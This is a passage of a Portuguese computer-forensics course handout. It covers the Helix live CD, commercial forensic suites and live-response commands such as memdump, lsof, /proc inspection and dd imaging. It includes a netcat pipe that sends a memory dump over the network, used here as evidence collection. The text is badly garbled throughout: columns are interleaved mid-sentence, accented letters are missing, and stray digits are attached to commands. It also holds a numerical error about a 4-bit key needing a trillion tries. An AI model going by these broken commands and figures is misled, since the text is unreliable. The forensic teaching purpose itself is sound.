de disco so diferentes, e o sistema operacional da
diversos tipos de mdias ou sistemas de arquivos estao forense precisa reconhecer esses equipa-
diferentes mentos. Alguns softwares para Windows, como o
Mecanismos de segurana disponveis no sistema EnCase, tm um suporte melhor para imagens de
operacional
parties variadas. Entretanto, um suporte nativo
no sistema operacional pode ser muito til e poupar
tempo do investigador.

Sistema operacional
Alm disso, o sistema operacional precisa ser seguro
o suficiente para no ser comprometido com alguma
Durante o curso, usaremos o Linux, por causa de
algumas caractersticas deste sistema: ferramenta investigada. Imagine se o investigador est
No necessrio adquirir licenas para uso analisando um arquivo desconhecido e sua estao
Existe uma gama completa de ferramentas de anlise forense de uso
livre forense comprometida por este arquivo?
Capacidade de acessar qualquer tipo de sistema de arquivos ou
parties a partir de configurao no kernel
Capacidade de acessar diversos tipos de dispositivos (USB, discos Alm disso, existem outras vantagens no uso do
etc)
Linux, como o sistema da estao forense e das
Firewall embutido no kernel e possibilidade de utilizar diversas
modificaes no kernel para aumentar a segurana da mquina ferramentas. O sistema permite a criao de CDs
Disponibilidade de diversas distribuies prontas para anlise
forense, facilitando o trabalho de reunir diferentes ferramentas
inicializveis que rodam em praticamente qualquer
configurao de hardware sem a necessidade de
instalao de drivers; rodam com pouca memria
e contam com diversos mecanismos de segurana
embutidos no prprio sistema.
Sistema operacional
Existem diversas opes para resolver o problema
Apesar disso, existem limitaes na utilizao do
sistema Linux. de anlise de binrios de outros sistemas operacio-
Se for necessrio analisar algum executvel para nais. No caso do Windows, em alguns casos poss-
Windows, precisaremos de uma maneira de emular o vel executar o binrio com emuladores por software
Windows. A melhor opo utilizar o VMWare ou
outro sistema de emulao, como o Wine. como o Wine, ou utilizar o prprio VMWare com um
Apesar da escolha pelo Linux, existem timas sistema Windows rodando na mquina virtual.
ferramentas de anlise forense para Windows, tal
como o software EnCase. Alm disso, dependendo do tipo de anlise que vai
ser feita, existem debuggers para Linux que tm
suporte a diversos formatos de binrios e processa-
dores, como por exemplo o IDA-Pro.

Ambiente e ferramentas de anlise forense


22
Escola Superior de Redes RNP

Live CD
Live CD

H grupos especializados em reunir as melhores


Importante manter as ferramentas atualizadas
Existem diversos CDs inicializveis com sistemas ferramentas para anlise forense. Existem diversos
Linux: CDs inicializveis com sistemas Linux, prontos
No precisam ser instalados para serem utilizados em um atendimento inicial a
Normalmente no modificam o sistema instalado um incidente. Eles no precisam ser instalados, e
Podem ser utilizados em um sistema ligado ou como normalmente no causam modificaes no sistema
dispositivo de boot em um sistema desligado
instalado. Podem ser utilizados em um sistema
So atualizados pelos responsveis
Contm uma ampla gama de ferramentas ligado, ou como dispositivo de boot em um sistema
desligado. Contendo uma ampla gama de ferramen-
tas, sua atualizao mantida pelos responsveis.

Um grande problema para o investigador manter atualizadas todas as suas fer-


ramentas, medida importante em um processo de anlise forense. Por exemplo,
investigadores da polcia tcnica ou peritos criminais em informtica tm como
parte dessas atividades manter suas ferramentas atualizadas.

A recomendao de utilizar um Live CD, ou um pacote pronto de ferramentas, vale


para aqueles profissionais que no tm como atividade principal a realizao de
anlise forense, desempenhando a atividade apenas em casos isolados. Nestes
casos, quando existir a necessidade de realizar uma anlise forense, basta baixar
a ltima verso da distribuio definida como padro, e todas as ferramentas
estaro atualizadas.

Em nosso curso utilizaremos o Helix, uma distribui-


Live CD
o especfica para anlise forense, baseada em
uma verso altamente modificada do Knoppix Linux.
Helix uma distribuio especfica para anlise forense
Contm ferramentas para anlise e resposta a incidentes Alm de conter ferramentas para anlise e resposta
em ambientes Linux, e um pacote de ferramentas para a incidentes em ambientes Linux, o Helix contm um
anlise em sistemas Windows que ainda estejam ligados.
pacote de ferramentas para anlise em sistemas
Pode ser utilizado como um CD de boot em sistemas
desligados, ou montado em um sistema ligado para servir Windows que ainda estejam ligados. Ele foi modifi-
como fonte de ferramentas para uma resposta inicial ao cado para garantir que nenhuma alterao seja feita
incidente.
ao sistema analisado. Pode ser utilizado como um
Utilizado por diversas instituies e grupos de anlise
forense e de resposta a incidentes. CD de boot em sistemas desligados, ou montado
em um sistema ligado para servir como fonte de
ferramentas para uma resposta inicial ao incidente.
utilizado por diversas instituies e grupos de anlise
forense e de resposta a incidentes, o que garante
que esteja sempre atualizado.

Alm das ferramentas que sero discutidas durante o curso, existem muitas
outras presentes no CD que o aluno poder utilizar, incluindo interfaces grficas
para algumas das ferramentas discutidas. No curso, examinaremos as ferramen-
tas de comando de linha que permitem trabalhar em um nvel mais baixo de opera-
o, e entender o real funcionamento de cada uma.

Anlise forense Sesso de aprendizagem 2


23

importante deixar claro que o ambiente escolhido


Live CD
para resposta ao incidente ou para a investigao
Alm do Live CD, em nosso curso utilizaremos o VMWare, ambiente
forense no deve de maneira nenhuma modificar
virtual que simula um computador real, permitindo a execuo de qualquer dado no sistema suspeito sem o conheci-
praticamente qualquer sistema operacional.
Utilizaremos uma imagem do CD do Helix associada ao CD-ROM da mento e controle do investigador. Por exemplo, uma
mquina virtual.
distribuio Linux normal, ao ser iniciada, vai tentar
Configuraes da mquina virtual:
256 MB de RAM montar qualquer dispositivo de disco presente na
Disco rgido de 8 GB, para armazenar dados dos exerccios e servir mquina, e isso deve ser evitado a todo custo. Esta
como exemplo
Imagem do Helix associada ao CD-ROM a vantagem de utilizar uma distribuio especfica
Placa de rede host-only (s se conecta ao computador local) para anlise forense.
Com o VMWare, podemos reverter o estado da mquina virtual para
estados anteriores, evitando assim a perda de dados proveniente de
comandos errados.

Hardware forense

H no mercado diversas solues de hardware que


podemos utilizar para realizar a duplicao e anlise
pericial. Estas ferramentas so mais completas e
realizam cpias perfeitas das informaes em uma
imagem. Atravs da imagem, o perito realiza sua
anlise sem danificar as provas originais. Permitem
a duplicao em alta velocidade, com bloqueio fsico
de escrita, clculo de hash MD5, SHA1, SHA2, emis-
so de logs de operao etc.

Em plataformas integradas de processamento,


Estaes e servidores estes sistemas esto disponveis em configuraes
para computao mveis, estacionrias ou de laboratrio, projetados
forense para aquisio e exames de evidncias. Possibilitam
duplicar as evidncias diretamente do HD IDE/SCSI/
SATA, disquetes, CD, DVD, ZIP driver, fita DAT 4MM
e PCCARD, SmartMedia, SD-MMC, Memory Stick,
Compact Flash.

Duplicadores de HDs com suporte s principais


interfaces, tais como: IDE, Enhanced IDE, Narrow
SCSI, Wide SCSI, Ultra SCSI e SCA. Podem transferir
dados de diferentes interfaces.

Duplicao em larga escala substitui com inmeras


vantagens os atuais processos de clonagem de
discos via software. Ideal para operaes de deploy-
ment e fbricas de PCs.

Duplicadores de HDs
e equipamentos para
bloqueio de escrita em
mdias digitais

Ambiente e ferramentas de anlise forense


24
Escola Superior de Redes RNP

Redes Wi-Fi

Equipamento dedicado para anlise de sinal WLAN


802.11 e cincias forenses. O foco do produto a
facilidade de uso e automao. capaz de capturar
todo o trfego Wi-Fi num raio de 4 km fazendo uso
simultneo dos 14 canais de comunicao 802.11.

Wireless Wi-Fi Completamente invisvel na rede, permite o armazenamento dos pacotes em


padres que podem ser usados por qualquer ferramenta de anlise forense de
rede. Realiza a decriptografia simultnea de WEP e WPA.

Celulares

\\XRY A anlise forense de aparelhos celulares ganha outra dimenso com o


uso do .XRY. Incrivelmente rpido, seguro e prtico de usar. O visualizador de
dados gratuito, permitindo a anlise distribuda por uma equipe maior e o
compartilhamento de informaes.

\\SIM ID Cloner Permite anlise em celulares com chip bloqueado ou danificado.

Celulares

Pacote forense
Pacote forense

Helix
Helix
The Coroner's Toolkit
Flag-Knoppix Este software oferece aos profissionais da rea
SMART Linux a possibilidade de executar vrios processos de
anlise forense computacional. Suporta diversos
Comerciais sistemas operacionais. Pode ser executado atravs
FTK Forensic Toolkit de um sistema operacional ou antes do incio do
EnCase sistema operacional. Suas principais caractersticas
so:

\\Suporte aos sistemas operacionais das


plataformas Windows, Linux e Solaris;

\\Mostra informaes do sistema, como: verso do


sistema operacional, rede, discos, parties e o
sistema de arquivos, alm do tamanho;

\\Realiza cpia perfeita de disco e memria


fsica, em outra rea, como a rede ou em mdia
removvel;

\\Disponibiliza o acesso a vinte ferramentas de


percia forense computacional;

Helix

Anlise forense Sesso de aprendizagem 2


25

\\Possui algumas documentaes a respeito de percia forense computacional


que podem ajudar o perito a desenvolver o seu trabalho;

\\Possui um navegador que possibilita expandir os discos e verificar algumas


propriedades dos arquivos e pastas;

\\Contm uma ferramenta de procura rpida por imagens de diversos formatos


no computador;

\\Possui um editor de texto para realizar anotaes importantes sobre o que


est sendo analisado.

FTK Forensic Toolkit

Oferece aos profissionais da rea a habilidade de executar percias completas nos


computadores. Com esta ferramenta possvel customizar filtros que permitem a
pesquisa em milhares de arquivos e encontrar a evidncia rapidamente. O FTK
conhecido no mercado como uma das principais ferramentas de anlise forense
de e-mail. Suas principais caractersticas so:

FTK Forensic Toolkit

\\Recuperao de e-mails excludos;

\\Visualizao de registros;

\\Gera auditoria de logs e relatrios de casos;

\\Recupera automaticamente arquivos excludos e parties;

\\Visualiza mais de 270 formatos diferentes de arquivos;

\\O FTK Explorer permite que se navegue rapidamente pelas imagens encontradas;

Ambiente e ferramentas de anlise forense


26
Escola Superior de Redes RNP

\\Suporta vrios sistemas de arquivos, como NTFS, FAT12, FAT16, FAT32, Linux
Ext2 e Ext3;

\\Suporta os formatos de imagens de outros programas, como o EnCase;

\\ suportado por vrios clientes de e-mail, como o Outlook, Outlook Express,


Yahoo, Hotmail etc.

\\Pesquisa, visualiza, imprime e exporta mensagens de e-mails e anexos;

\\Extrai informaes da maioria dos arquivos compactados.

EnCase Forensics

Ferramenta grfica do setor de tecnologia da investigao forense de computado-


res. Com uma interface de uso intuitivo, auxilia o perito na anlise e aquisio dos
dados, realiza busca em diversas mdias e gera documentao. O programa foi
desenvolvido para atender a necessidade dos peritos em buscar informaes no
formato eletrnico, tais como e-mails e internet. Suas principais caractersticas so:

\\Investigao reativa;
EnCase Forensics
\\Provas no repudiveis;

\\Refora metodologia internacional;

\\Acesso a informaes escondidas;

\\Automatizao de pesquisas;

\\Resposta a incidentes e combate a fraudes;

\\Investigao pr-ativa;

\\Resposta a incidentes aps a ltima linha de defesa;

\\Documentao de incidentes;

\\Discrio;

\\Assertividade no processo de recuperao.

Anlise forense Sesso de aprendizagem 2


27

NetWitness

Ferramenta capaz de analisar o trfego que flui na rede. Anos de colaborao


com o departamento de inteligncia dos EUA fizeram com que o NetWitness seja
capaz de analisar grande volume de informao dinmica, respondendo imediata-
mente a ataques: quem fez o qu, onde, quando, como e por qu.

Net Witness

Programas especficos

O processamento de imagens est integrado aos sistemas de investigao mais


avanados do mundo. O resultado dessa combinao o enorme aumento de
produtividade e expanso dos limites humanos, quando for necessrio o processa-
mento de grande quantidade de imagens.

Software para
reconhecimento visual
de imagens

Ambiente e ferramentas de anlise forense


28
Escola Superior de Redes RNP

Para exemplificar, veja as imagens da capa da


revista Time. A da esquerda a original; a da direita
contm uma informao secreta, que s poder ser
descoberta por quem tiver a senha e o programa
apropriado.

Gargoyle Investigator Forensic

Esteganografia Busca a identificao de armas digitais em sistemas isolados. Compatvel com


imagens capturadas por EnCase, DD, FTK e outros. Expande a funcionalidade
para busca em rede por toda a corporao, incluindo: Anti Forensics, Binary
Editors, BotNets, Credit Card Fraud Tools, Denial of Service Tools, Encryption,
Steganography, Exploit Scanners, File Splitters, Gaming Tools, Keyloggers,
Spyware, Peer to Peer Communications, Password Crackers, Remote Access
Tools, Trojans, Worms, Rootkits, Wired and Wireless Surveillance.

Stego realiza a deteco de esteganografia em imagens ou arquivos de udio


diretamente no sistema de arquivos, em HDs capturados ou pela internet. Realiza
a anlise detalhada e a busca dos arquivos altamente supeitos. Realiza ataques de
dicionrio e fora bruta contra algoritmos conhecidos de esteganografia.

Ultimate Toolkit contm vrias ferramentas necessrias para investigao e


percia de computadores e outras evidncias digitais. Dentre as principais, desta-
camos: Forensic Toolkit, Registry Viewer, Password Recovery Toolkit e Distributed
Network Attack. Rainbow Tables uma ferramenta de ataque pr-computado
de fora bruta que reduz o tempo de quebra de chaves de criptografia de 40
bits para segundos. Um ataque de fora bruta sobre uma chave de 4 bits deve
processar 1 trilho de possibilidades, e um Pentium IV processando 500.000
combinaes por segundo levaria 25 dias para complet-lo. Com Rainbow Tables
voc pode decriptografar um documento de Word em segundos ou minutos, ao
invs de dias.

Mercury encontra as evidncias de maneira rpida. Integrado ao EnCase


Forensics, indexa o arquivo de evidncias e permite buscas avanadas por pala-
vras-chaves, proximidade, combinaes etc. Pode ser distribudo para pessoas
que no possuem conhecimento tcnico, aumentando a produtividade da equipe
de investigao.

Anlise forense Sesso de aprendizagem 2


29

Preparao da investigao
Preparao da investigao

A primeira ao preparar as ferramentas e disposi-


No atendimento inicial a um incidente, o investigador
deve: tivos para a coleta das evidncias.
Coletar o mximo possvel de evidncias
Comprovar o incidente Ao investigar um sistema possivelmente compro-
Conter possveis ataques originados no sistema metido que esteja ligado, o investigador deve se
comprometido
preocupar em coletar primeiro as informaes mais
Como fazer tudo isso, minimizando a perda de dados?
volteis, como memria RAM, informaes de rede,
Nesta hora, a utilizao de um checklist pode ajudar,
principalmente se o sistema ainda estiver ligado. processos em execuo, cpia do disco rgido, logs
A resposta precisa ser rpida e precisa. e histricos.

Normalmente, o investigador vai ter a sua disposio


equipamentos de armazenagem e de rede para se
Preparao da investigao
comunicar com o sistema suspeito.
Primeira ao: preparar as ferramentas e dispositivos
para a coleta das evidncias. Durante o curso, utilizaremos o Live CD do Helix em
Coletar primeiro as informaes mais volteis: um sistema virtual, como por exemplo no atendi-
Memria RAM, informaes de rede, processos em mento a incidentes em sistemas ligados.
execuo, cpia do disco rgido, logs, histricos;
Possuir equipamentos de armazenagem e de rede
para comunicao com o sistema suspeito.
Durante o curso, vamos utilizar o Live CD do Helix em
um sistema virtual, como por exemplo no atendimento
a incidentes em sistemas ligados.

Preparao do ambiente
Preparao do ambiente

# fdisk -l8
Inicialmente, preparemos o ambiente que vamos
utilizar durante o atendimento ao incidente: Disk /dev/sda: 8589 MB, 8589934592 bytes
255 heads, 63 sectors/track, 1044 cylinders
# fdisk l
Disk /dev/sda: 8589 MB, 8589934592 bytes Units = cylinders of 16065 * 512 = 8225280 bytes
255 heads, 63 sectors/track, 1044 cylinders Device Boot Start End Blocks Id System
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System /dev/sda1 1 32 257008+ 82 Linuxswap
/dev/sda1 1 32 257008+ 82 Linuxswap
/dev/sda2 33 64 257040 83 Linux
/dev/sda2 33 64 257040 83 Linux
/dev/sda3 65 1044 7871850 5 Extended /dev/sda3 65 1044 7871850 5 Extended
/dev/sda5 65 1044 7871818+ 83 Linux
# mkdir /data
/dev/sda5 65 1044 7871818+ 83 Linux
# mount /dev/sda5 /data
# mkdir /data8

# mount /dev/sda5 /data8

Ambiente e ferramentas de anlise forense


30
Escola Superior de Redes RNP

Neste exemplo, vamos copiar a memria RAM do sis-


Preparao do ambiente
tema virtual para um arquivo, e grav-lo no diretrio mon-
A memria RAM a informao mais voltil que existe no
tado previamente. Pode acontecer de algum aluno no
sistema. ter montado a partio do disco conforme mostrado, e
No Helix, temos uma ferramenta chamada memdump, que faz
acontecer um erro por falta de espao. Consulte o slide
uma cpia da memria RAM, que podemos redirecionar para
um arquivo em disco: anterior para montar a partio do disco corretamente.
# memdump > /data/phys_memory.img
Alm disso, podemos redirecionar para uma conexo de rede,
e coletar remotamente o arquivo em nossa estao forense:
Na estao forense: Nota: O memdump tem um parmetro para copiar a memria
# nc -l -p 4000 > /data/phys_memory.img do kernel do Linux, alm de copiar a memria fsica. Este
Na mquina suspeita: parmetro no funciona dentro do sistema virtual.
# memdump | nc 127.0.0.1 4000

O comando netcat (nc) muito importante para o analista forense. Ele permite criar
conexes de rede TCP ou UDP com outras mquinas, alm de criar listeners, permitindo
simular a existncia de um servio, ou, como no exemplo, permitir a cpia de arquivos
pela rede sem utilizao de software especfico para isso. O instrutor deve tomar algum
tempo para mostrar o funcionamento do netcat, especificamente no exemplo dado.

No exemplo, o aluno vai utilizar o netcat para criar um listener na mquina, na


porta 4000, redirecionando a sada dele para um arquivo. A seguir, em outro
terminal, o aluno vai executar o memdump, redirecionando a sada dele para o
netcat, que vai criar uma conexo com a mquina local, na porta 4000, e enviar
toda a sada do memdump para essa conexo.

Com isso, a sada do comando memdump vai ser transmitida pela rede (neste
caso, localmente, mas normalmente atravs da rede fsica) para o arquivo especi-
ficado no primeiro redirecionamento. possvel redirecionar para uma conexo de
rede, e coletar remotamente o arquivo em nossa estao forense:

Na estao forense:
Preparao do ambiente
# nc -l -p 4000 > /data/phys_memory.img8
Passos importantes durante o atendimento a um incidente:
Manter um registro preciso de todas as aes executadas, registrando Na mquina suspeita:
todos os comandos executados, com os respectivos tempos de
execuo. # memdump | nc 127.0.0.1 40008
Descobrir se as informaes de tempo disponveis em suas evidncias
so coerentes.
Durante a fase de anlise das evidncias, o inves-
O timezone de logs e da mquina um dado muito importante.
Por isso, aps recuperar a memria da mquina, importantetigador vai precisar correlacionar as evidncias
descobrir essas informaes:
# date encontradas na mquina invadida com evidncias
Sun Jan 6 01:34:46 MST 2008 externas, como logs de firewall, roteadores, IDS etc.
# uptime
01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18 O sincronismo de tempo e a coerncia entre os time-
zones dessas evidncias importante para garantir
a validade das concluses encontradas atravs das
evidncias. Por isso importante descobrir essa informao o quanto antes,
durante o atendimento inicial do incidente.

Anlise forense Sesso de aprendizagem 2


31

Este passo normalmente o primeiro a ser realizado, mas como tentamos evitar
ao mximo o comprometimento de evidncias, executamos estes comandos
somente aps a coleta da memria, pois a execuo destes comandos poderia
sobrescrever alguma evidncia em memria.

O instrutor pode comentar sobre a necessidade de manter dispositivos sincroniza-


dos, de preferncia com servidores NTP confiveis, e sobre o funcionamento do
timezone e do relgio do sistema, que est sempre em UTC. A configurao de
timezone utilizada somente para mostrar a hora no valor local.

No incio da investigao, um passo importante durante o atendimento a um inci-


dente manter um registro preciso de todas as aes executadas; para isso,
necessrio registrar todos os comandos executados, com os respectivos tempos
de execuo.

Alm disso, importante descobrir se as informaes de tempo disponveis em


suas evidncias so coerentes. O timezone de logs e da mquina um dado
muito importante. Por isso, aps recuperar a memria da mquina, importante
descobrir essas informaes:

# date8
Sun Jan 6 01:34:46 MST 2008

# uptime8
01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18

Coletando informaes dos processos


Coletando informaes dos processos

# lsof l LSOF um comando importante para a coleta de


Lista todos os arquivos abertos. informaes sobre processos e conexes de rede,
Use os comandos more ou less ou redirecione a sada atravs porque integra a funcionalidade de diversas ferra-
do netcat
# lsof -i
mentas diferentes. Pode funcionar como o netstat ou
Lista todos os arquivos de rede abertos, para descobrir os como o ps, por exemplo, alm de ter a capacidade
programas que esto mantendo conexes abertas. de listar arquivos abertos. Neste slide e no prximo,
Tem a mesma funo do comando netstat nap.
o instrutor pode dedicar algum tempo a testar os
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
Xorg 2252 root 1u IPv4 9383 TCP *:x11 (LISTEN) parmetros do LSOF com mais profundidade, alm
sshd 2792 root 3u IPv4 10359 TCP *:ssh (LISTEN)
pump
sshd
2870 root
2872 root
0u IPv4 10612
3u IPv4 10647
TCP *:bootpc (LISTEN)
TCP 192.168.47.129:ssh-
dos parmetros apresentados aqui.
>192.168.47.1:4944 (ESTABLISHED)

# lsof l8

Lista todos os arquivos abertos. A sada pode ser grande, por isso use algum tipo
de controle de sada. Use os comandos more ou less, por exemplo, ou redirecione
a sada atravs do netcat.

# lsof -i8

Lista todos os arquivos de rede abertos. Com isso possvel descobrir os programas
que esto mantendo conexes abertas. Tem a mesma funo do comando netstat nap.

Ambiente e ferramentas de anlise forense


32
Escola Superior de Redes RNP

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME


Xorg 2252 root 1u IPv4 9383 TCP *:x11 (LISTEN)
sshd 2792 root 3u IPv4 10359 TCP *:ssh (LISTEN)
pump 2870 root 0u IPv4 10612 TCP *:bootpc (LISTEN)
sshd 2872 root 3u IPv4 10647 TCP 192.168.47.129:ssh->192.168.47.1:4944
(ESTABLISHED)

Uma maneira de utilizar o LSOF em conjunto com


Coletando informaes dos processos
o comando grep. Podemos limitar o que o LSOF
Utilizao de LSOF em conjunto com o comando grep:
mostra, para listar todos os arquivos abertos por um
# lsof -l | grep LISTEN
determinado comando (lsof l | grep netscape) ou
Xorg
sshd
2252
2792
0
0
1u
3u
IPv4
IPv4
9383
10359
TCP *:x11 (LISTEN)
TCP *:ssh (LISTEN) todos os programas que mantm um listener aberto.
pump 2870 0 0u IPv4 10612 TCP *:bootpc (LISTEN)

Este comando mostra todos os processos que mantm # lsof -l | grep LISTEN8
um socket Unix aberto: Xorg 2252 0 1u IPv4 9383 TCP *:x11 (LISTEN)
# lsof -U sshd 2792 0 3u IPv4 10359 TCP *:ssh (LISTEN)
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
udevd 517 root 3u unix 0xce957e00 4060 socket pump 2870 0 0u IPv4 10612 TCP *:bootpc (LISTEN)
dbus-daem 1485 messagebus 3u unix 0xce957c80 7524
/var/run/dbus/system_bus_socket
dbus-daem 1485 messagebus 5u unix 0xce957b00 7526 socket
Este comando mostra todos os processos que
mantm um socket Unix aberto. Pode ser importante
para descobrir processos escondidos que esto
mantendo conexes abertas e pipes que podem indi-
car a presena de trojans e rootkits.

# lsof -U8
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
udevd 517 root 3u unix 0xce957e00 4060 socket
dbus-daem 1485 messagebus 3u unix 0xce957c80 7524 /var/run/dbus/system_bus_socket
dbus-daem 1485 messagebus 5u unix 0xce957b00 7526 socket

Outra forma de recuperar informaes sobre pro-


Coletando informaes dos processos
cessos atravs do diretrio /proc. Este diretrio
Recuperao de informaes sobre processos atravs
criado virtualmente pelo kernel do sistema operacio-
do diretrio /proc: nal para armazenar informaes sobre o hardware e
# ls /proc/2877 software bsicos do sistema. Para cada processo,
attr auxv cmdline cwd environ exe fd maps
mem mounts mountstats oom_adj oom_score root um diretrio criado com diversos dados sobre ele:
seccomp smaps stat statm status task wchan
Para cada processo existem diversas informaes
disponveis. # ls /proc/28778
Alguns destes arquivos contm dados importantes attr auxv cmdline cwd environ exe fd maps mem
sobre o processo em execuo. mounts mountstats oom_adj oom_sco
re root seccomp smaps stat statm status task wchan

importante perceber que, como este diretrio vir-


tual, isto , no existe fisicamente no disco, qualquer
modificao feita nele no vai comprometer as evidncias em disco. Contudo,
importante notar que preciso ter muito cuidado para no modificar nada mais
alm deste diretrio.

Como podemos ver, para cada processo existem diversas informaes disponveis.
Alguns destes arquivos contm dados importantes sobre o processo em execuo.

Anlise forense Sesso de aprendizagem 2


33

Muitas vezes, ao invadir uma mquina e instalar


Coletando informaes dos processos
alguma ferramenta, o hacker costuma modificar
Contedo de alguns arquivos:
o nome dos arquivos para nomes comuns em um
O arquivo abaixo na verdade um link para o diretrio sistema, como por exemplo sshd ou httpd. impor-
corrente do processo: tante descobrir o diretrio onde esses arquivos
# ls -l /proc/2877/cwd
lrwxrwxrwx 1 root root 0 Jan 5 18:50 /proc/2877/cwd esto, sem comprometer evidncias no disco, para
-> /data comprovar o comprometimento da mquina.
O arquivo abaixo contm a linha de comando utilizada para
iniciar o processo, servindo para identificar processos Anlise de contedo de alguns arquivos
estranhos:
# cat /proc/2877/cmdline
-bash O arquivo abaixo na verdade um link para o diretrio
corrente do processo. Pode ser importante para des-
cobrir se algum processo com um nome comum (por
exemplo httpd) est sendo executado a partir de um diretrio que no seja padro.

# ls -l /proc/2877/cwd8
lrwxrwxrwx 1 root root 0 Jan 5 18:50 /proc/2877/cwd -> /data

O arquivo abaixo contm a linha de comando utilizada para iniciar o processo. Da


mesma forma que o arquivo anterior, pode ser importante para descobrir proces-
sos estranhos.

# cat /proc/2877/cmdline8
-bash

Outra forma de comprometer um sistema atravs da


Coletando informaes dos processos
instalao de bibliotecas compartilhadas modificadas.
Neste caso, o hacker pode carreg-las de diversas
O arquivo abaixo contm as variveis de ambiente
utilizadas no momento da execuo do programa. maneiras, mas um meio comum atravs da modi-
ficao da varivel de ambiente LD_PRELOAD, que
# cat /proc/2877/environ
USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/u define as bibliotecas compartilhadas que devem ser
sr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/ carregadas antes da execuo de um binrio qualquer.
usr/X11R6/binMAIL=/var/mail/rootSHELL=/bin/bashSS
H_CLIENT=192.168.47.1 4944 A existncia desta varivel apontando para um arquivo
22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129
22SSH_TTY=/dev/pts/2TERM=vt100 suspeito pode indicar o comprometimento da mquina.

O arquivo abaixo contm as variveis de ambiente


utilizadas no momento da execuo do programa.
Repare que as variveis de ambiente criadas pelo
SSH aparecem aqui, o que pode ser importante para identificar algum programa
que tenha sido executado remotamente.

# cat /proc/2877/environ8
USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sb
in:/usr/local/bin:/usr/X11R6/binMAIL=/var/mail/root
SHELL=/bin/bashSSH_CLIENT=192.168.47.1 4944
22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129
22SSH_TTY=/dev/pts/2TERM=vt100

Ambiente e ferramentas de anlise forense


34
Escola Superior de Redes RNP

Este arquivo mostra informaes de status do pro-


Coletando informaes dos processos
cesso. Podemos ver informaes sobre usurio/
Este arquivo mostra informaes de status do
grupo que executou o processo, memria e CPU
processo: utilizados, entre outras informaes.
# cat /proc/2877/status
Name: bash # cat /proc/2877/status8
State: S (sleeping)
Name: bash
SleepAVG: 98%
Tgid: 2877
State: S (sleeping)
Pid: 2877 SleepAVG: 98%
PPid: 2872 Tgid: 2877
TracerPid: 0 Pid: 2877
Uid: 0 0 0 0 PPid: 2872
Gid: 0 0 0 0
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0

Este exemplo mostra como recuperar um processo


Coletando informaes dos processos
em memria, sem precisar encontrar o arquivo corres-
possvel recuperar processos atravs do /proc. Exemplo:
pondente em disco. comum os hackers removerem
do disco as ferramentas que instalam na mquina
# ps ax | grep sshd
2792 ? Ss 0:00 /usr/sbin/sshd aps execut-las, pois, dessa forma, se o sistema
2872 ? Ss 0:07 sshd: root@pts/2,pts/3 reiniciado, no h mais traos de suas atividades. Por
# cat /proc/2792/exe > /data/proc_2792_sshd.dat isso importante tomar cuidado ao comear a investi-
# sha1sum /data/proc_2792_sshd.dat /usr/sbin/sshd
gar um sistema suspeito, pois simplesmente deslig-lo
415b2c34037fad7d2cf54a55e35a3892bf03ebd6 pode comprometer todas as evidncias que o investi-
/data/proc_2792_sshd.dat
415b2c34037fad7d2cf54a55e35a3892bf03ebd6 gador teria para encontrar o responsvel.
/usr/sbin/sshd

Quando for necessrio recuperar algum processo


em memria, e o arquivo no existir mais em disco,
ou voc no quiser correr o risco de modificar evidncias no disco, possvel
recuper-lo atravs do /proc. Vejamos um exemplo:

# ps ax | grep sshd8
2792 ? Ss 0:00 /usr/sbin/sshd
2872 ? Ss 0:07 sshd: root@pts/2,pts/3

# cat /proc/2792/exe > /data/proc_2792_sshd.dat8

# sha1sum /data/proc_2792_sshd.dat /usr/sbin/sshd8


415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /data/proc_2792_sshd.dat
415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /usr/sbin/sshd

Anlise forense Sesso de aprendizagem 2


35

Preservao do disco
Preservao do disco

Aps a coleta de informaes mais volteis, preciso Agora que j coletamos as informaes mais volteis,
salvar as evidncias menos volteis podemos nos preocupar em salvar as evidncias
A coleta deste tipo de evidncia importante, pois ser menos volteis. Precisamos coletar uma cpia de
atravs dos dados armazenados nos discos que
poderemos identificar processos executados pelo hacker, quaisquer dispositivos de armazenagem conectados
como instalao de ferramentas e modificao de arquivos ao equipamento.
H diversas metodologias e ferramentas disponveis para
coletar uma cpia dos discos:
Equipamentos especficos para cpia de discos A coleta deste tipo de evidncia importante, pois
Ferramentas para cpia disco a disco ser atravs dos dados armazenados nos discos que
Criao de uma imagem de disco bit a bit (mais comum) poderemos identificar processos executados pelo
hacker, instalao de ferramentas, modificao de
arquivos, enfim, poderemos criar uma linha do tempo
das atividades da mquina.

Para coletar uma cpia dos discos, existem diversas metodologias e ferramentas dis-
ponveis, tais como equipamentos especficos para cpia de discos, ferramentas para
cpia disco a disco, e o mais comum, a criao de uma imagem de disco bit a bit.

Uma imagem bit a bit uma cpia fiel do contedo do dispositivo de armazenagem,
garantindo que todos os dados presentes no dispositivo estejam presentes na imagem.

Existem diversos formatos de imagem, alguns por


Preservao do disco
ferramentas especficas, como o software comercial
EnCase, outros mais difundidos, como o formato DD.
Neste curso vamos utilizar o formato DD, por ser mais
difundido e mais facilmente manipulado dentro de um
ambiente Linux. Neste curso vamos utilizar o formato DD, por ser
Para coletar uma imagem de um dispositivo de disco, mais difundido e mais facilmente manipulado dentro
utilizaremos a ferramenta dd (da o nome do formato DD).
de um ambiente Linux. Para coletar uma imagem de
Ferramenta disponvel por padro em qualquer sistema
Linux, permite que se realizem cpias bit a bit entre um dispositivo de disco, utilizaremos a ferramenta dd
dispositivos, ou ento entre dispositivos e arquivos e (da o nome do formato DD). Esta ferramenta, dispo-
vice-versa. nvel por padro em qualquer sistema Linux, permite
que se realizem cpias bit a bit entre dispositivos, ou
ento entre dispositivos e arquivos e vice-versa.

A necessidade de zerar o contedo do disco que vai


Preservao do disco
armazenar as evidncias existe mais no caso de ser
feita uma cpia de disco a disco. Como o disco novo
Antes de copiar as evidncias, necessrio garantir que
nosso dispositivo de armazenagem est limpo. geralmente no exatamente igual ao disco copiado,
